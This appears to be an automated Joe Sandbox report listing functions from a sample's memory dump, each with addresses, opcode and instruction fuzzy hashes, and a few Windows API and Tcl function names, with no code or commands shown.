Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 2d471da97334de2acf0262392bad6ca7d41a72817533bf8b70dbf69db73f0db4
Instruction ID: d88460e8ef522431d933edb336697bc7b54ccfa642ba459e51a79240b5e97f4c
Opcode Fuzzy Hash: 2d471da97334de2acf0262392bad6ca7d41a72817533bf8b70dbf69db73f0db4
Instruction Fuzzy Hash: 6E02A121A2E6C341FB65BB2194102F9E694AF06B90FC58734DD7E473D2DE7CA46583B0

Function 00007FF7FF59DACC Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF7FF59DE0E

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction ID: 399ffe35ac37805db1f15f8fff2ff88c0ef742810d060da4ec9c3174c88c5270
Opcode Fuzzy Hash: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction Fuzzy Hash: 2AA14562A087C586EB39DF29A0007F9BB91AB61784F449231DEAD477C5EE3DE502C750

Function 00007FF7FF598804 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF7FF598823

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: 5f14576829c2a404d65bc8e6713cc3c63392e5e443677cfdf71167dbae88db0a
Instruction ID: 3ebc97b0d841bf40273a5bd3b97859fba34819f103c60bd7b627b92533d2c98f
Opcode Fuzzy Hash: 5f14576829c2a404d65bc8e6713cc3c63392e5e443677cfdf71167dbae88db0a
Instruction Fuzzy Hash: 3D51B011B096C241FB7CBB2659011FAD2906F45BC5FC94634DE3E4BBD2EE3CE40242A8

Function 00007FF7FF5A34F0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7FF5A34F4

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 39e33fd4700d97162abc6aa121af668d241eeaeaed41ff08026f27548e358ff0
Instruction ID: 2ae1a06c84b23108d3b6578163a2a44667cc35ecd56f8e8a5705536a8dcbc4c6
Opcode Fuzzy Hash: 39e33fd4700d97162abc6aa121af668d241eeaeaed41ff08026f27548e358ff0
Instruction Fuzzy Hash: 64B09220E07A86D2EF083B21AC8265866A4BF48700FD80239C03E52370DE2C24F557A0

Function 00007FF7FF593610 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f2a1199bc68cddcf3b08423a19983f3afdde0c7e054ddf4c3f66946da216a90
Instruction ID: 26bdc9d54fa2706911e6d412de1feacc4c1cd3ee440e24d0c496ad7d90e877ce
Opcode Fuzzy Hash: 5f2a1199bc68cddcf3b08423a19983f3afdde0c7e054ddf4c3f66946da216a90
Instruction Fuzzy Hash: 11D1C766A08682C5EB3CAF25C0502BDA7A9EB05B48F954335CE3D276D5CF3DE945C3A0

Function 00007FF7FF589870 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 069bb313382d3adaff5ac451a95cb3dd74dda88d5dd80987c9f0d361d468a953
Instruction ID: a3298dd1c795d9989f13f75f62d537c141be1d421859e1ee2b2c5dd48ed9a8f7
Opcode Fuzzy Hash: 069bb313382d3adaff5ac451a95cb3dd74dda88d5dd80987c9f0d361d468a953
Instruction Fuzzy Hash: DFC1A0762181E08BD289EB29E4694BA73D0F78930EBD5416BEF87477C5CB3CA414DB60

Function 00007FF7FF592C80 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2617fd8e8f043c0917c6a56c5cabdca8b91b1cd744d59a3c82f21f331bc63c74
Instruction ID: c58f0eb45f6bd358d794fe9a7e688809c7c251cc2ed2c4df10977808cb21206a
Opcode Fuzzy Hash: 2617fd8e8f043c0917c6a56c5cabdca8b91b1cd744d59a3c82f21f331bc63c74
Instruction Fuzzy Hash: A2B17F729087C585F7789F29C0901BCBBA0E745B48FA45239CA6D473D5CFB9D441C7A0

Function 00007FF7FF59E5E0 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73948b09e9837a821f5a3b4bbb106c60bdc2a86aaa707f45330964650836ebfe
Instruction ID: 2297b4536b18c5886addec34dc26ea9178f23ae7ccb855635c7d76ab880ac86c
Opcode Fuzzy Hash: 73948b09e9837a821f5a3b4bbb106c60bdc2a86aaa707f45330964650836ebfe
Instruction Fuzzy Hash: 3981F272A087D187EB789B19E4803BABA91FB45794F844335DABD03BC5CE3DE4008B60

Function 00007FF7FF5A6488 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: b78332369169aed8be6dd13cc6d08ed8a401c1151d3c5d6e5b3c154adaf735d2
Instruction ID: a5a91c10672adc1cc839c15c83573fa6a9e60bf2ba52f742e4ffca596ecdd88a
Opcode Fuzzy Hash: b78332369169aed8be6dd13cc6d08ed8a401c1151d3c5d6e5b3c154adaf735d2
Instruction Fuzzy Hash: F9612A22E0E6D246FB34AA28C4442FDE690AF45B60FD84339D63D476C5DE7DE8108BB0

Function 00007FF7FF591DC4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction ID: 267d0cd1162837d794195534132c4cfc4459cc48c1db9f5fbbfa5357688b93ec
Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction Fuzzy Hash: 08518B36A146A585EB389B29D040278B7A0EB45B58F645331DE7D177D4CF3AE843C7D0

Function 00007FF7FF5921D4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction ID: 7eee85a1eed5d253a266a2b4c5c462fb89a684cbb149678b3badde1ba4f2edc2
Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction Fuzzy Hash: E1518436A1869182FB389B29C0402B8B3A1EB54B58F648335CE7D077D4CF7AE843C790

Function 00007FF7FF5919B4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction ID: 027b7e8294683a44dc347c2335d5036d0db9ee9e144357f547cfafc6c34f6437
Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction Fuzzy Hash: 22519A36A146A185EB389B29C04027873A1EB45B58FA45232CE7D577D5DF3AEC43C7D0

Function 00007FF7FF591FD0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction ID: b21f5ae3818212fb5d37f3d08c0a77ec5d88e06f5a36bc1699809ca0fda8da01
Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction Fuzzy Hash: D251B636A1869185F7389B29D4402B87BA0EB44B58FA44231CE6D577E4CFBAEC53C7D0

Function 00007FF7FF5917B0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction ID: 896c3dbe3fb30ae91b548be7ad23437a6c93dbe080526e20835cb786206915b2
Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction Fuzzy Hash: 5251A636A186A185EB389B29C0402BCB7A1EB45B5CF655231CE6D177D4CF3AE843D7D0

Function 00007FF7FF591BC0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction ID: 16621c9d0578dc1d976e6847829697e41373634d5cb8dcd540785c872a1c5235
Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction Fuzzy Hash: 12518736A187A185EB389B29C0442B877A1EB45B58FB45231CE6D177D4CF3AE843C7D0

Function 00007FF7FF595DA0 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: 208f89476cfd97f714ed7e29987acb30f00f47a1c8b6fe93b55039aac5071731
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: B541B6A28097CA44EB7D992806046F8D6C0DF62FB0FD853B0DEB9533C6DD1D29A7C1A1

Function 00007FF7FF599F10 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 4700cc90785079b7bb7a0602c46334a4ae9c6cdcc1bc7f68a8ec9cd099c19dcc
Instruction ID: 7c266a0991bd3714d88a499676272b84a680107bf29d3a887120bfdbb59e4f0a
Opcode Fuzzy Hash: 4700cc90785079b7bb7a0602c46334a4ae9c6cdcc1bc7f68a8ec9cd099c19dcc
Instruction Fuzzy Hash: 04412832714A9582EF18DF6ADA141A9F7A1FB48FD0B899132DE2D97B98DF3DC4418340

Function 00007FF7FF598154 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12404f4f4f1323fea4d4e583727f71dd7b5a0d93f2e51056eadc76cf5c92dd81
Instruction ID: 61f5a816dc5e8c80989272e4c13adbced7c5efae7552ce0fb6851e80ead4d874
Opcode Fuzzy Hash: 12404f4f4f1323fea4d4e583727f71dd7b5a0d93f2e51056eadc76cf5c92dd81
Instruction Fuzzy Hash: DE310732B08BC281E768AF2164401BEB6D4AB85BD0F944338EA7D57BD5DF3CD0128358

Function 00007FF7FF5A95E0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcf48121633763fd2f6aa1741893fa818c421e56c797f7e3558f0bc07bbc94c0
Instruction ID: dc107afdae6819cef54890c4cdb8010b0e024a7de6f8b7b70aaa749db93f3a04
Opcode Fuzzy Hash: bcf48121633763fd2f6aa1741893fa818c421e56c797f7e3558f0bc07bbc94c0
Instruction Fuzzy Hash: 9FF0C8717182958ADB98AF6CB402A6977D0F7483C0F908239D6AD83B54CE3CC061CF64

Function 00007FF7FF58D37C Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6acc2ec838af36dd9636ef9e1d94249ffac8b7a33868b0b47a68aa66541c0b8
Instruction ID: 60c2a235a24caa31297177bedc691b255f07afc4922f824b69d497a4d7d9c409
Opcode Fuzzy Hash: e6acc2ec838af36dd9636ef9e1d94249ffac8b7a33868b0b47a68aa66541c0b8
Instruction Fuzzy Hash: 8BA0012190D88AE1E744AB00A8A04A5A360FB51300B800232E03D420F4AE2CA414D2A0

Function 00007FF7FF5876B0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7FF5876C7
GetLastError.KERNEL32 ref: 00007FF7FF5876D9
GetProcAddress.KERNEL32 ref: 00007FF7FF587715
GetLastError.KERNEL32 ref: 00007FF7FF587727
GetProcAddress.KERNEL32 ref: 00007FF7FF587740
GetLastError.KERNEL32 ref: 00007FF7FF587752
GetProcAddress.KERNEL32 ref: 00007FF7FF58776B
GetLastError.KERNEL32 ref: 00007FF7FF58777D
GetProcAddress.KERNEL32 ref: 00007FF7FF587799
GetLastError.KERNEL32 ref: 00007FF7FF5877AB
GetProcAddress.KERNEL32 ref: 00007FF7FF5877C7
GetLastError.KERNEL32 ref: 00007FF7FF5877D9
GetProcAddress.KERNEL32 ref: 00007FF7FF5877F5
GetLastError.KERNEL32 ref: 00007FF7FF587807
GetProcAddress.KERNEL32 ref: 00007FF7FF587823
GetLastError.KERNEL32 ref: 00007FF7FF587835
GetProcAddress.KERNEL32 ref: 00007FF7FF587851
GetLastError.KERNEL32 ref: 00007FF7FF587863

Strings

Tcl_ConditionWait, xrefs: 00007FF7FF587989, 00007FF7FF5879AB
Tcl_DoOneEvent, xrefs: 00007FF7FF587761, 00007FF7FF587783
Tcl_Finalize, xrefs: 00007FF7FF58778F, 00007FF7FF5877B1
Tcl_Free, xrefs: 00007FF7FF587C3B, 00007FF7FF587C5D
Tcl_DeleteInterp, xrefs: 00007FF7FF5877EB, 00007FF7FF58780D
Tcl_FindExecutable, xrefs: 00007FF7FF587736, 00007FF7FF587758
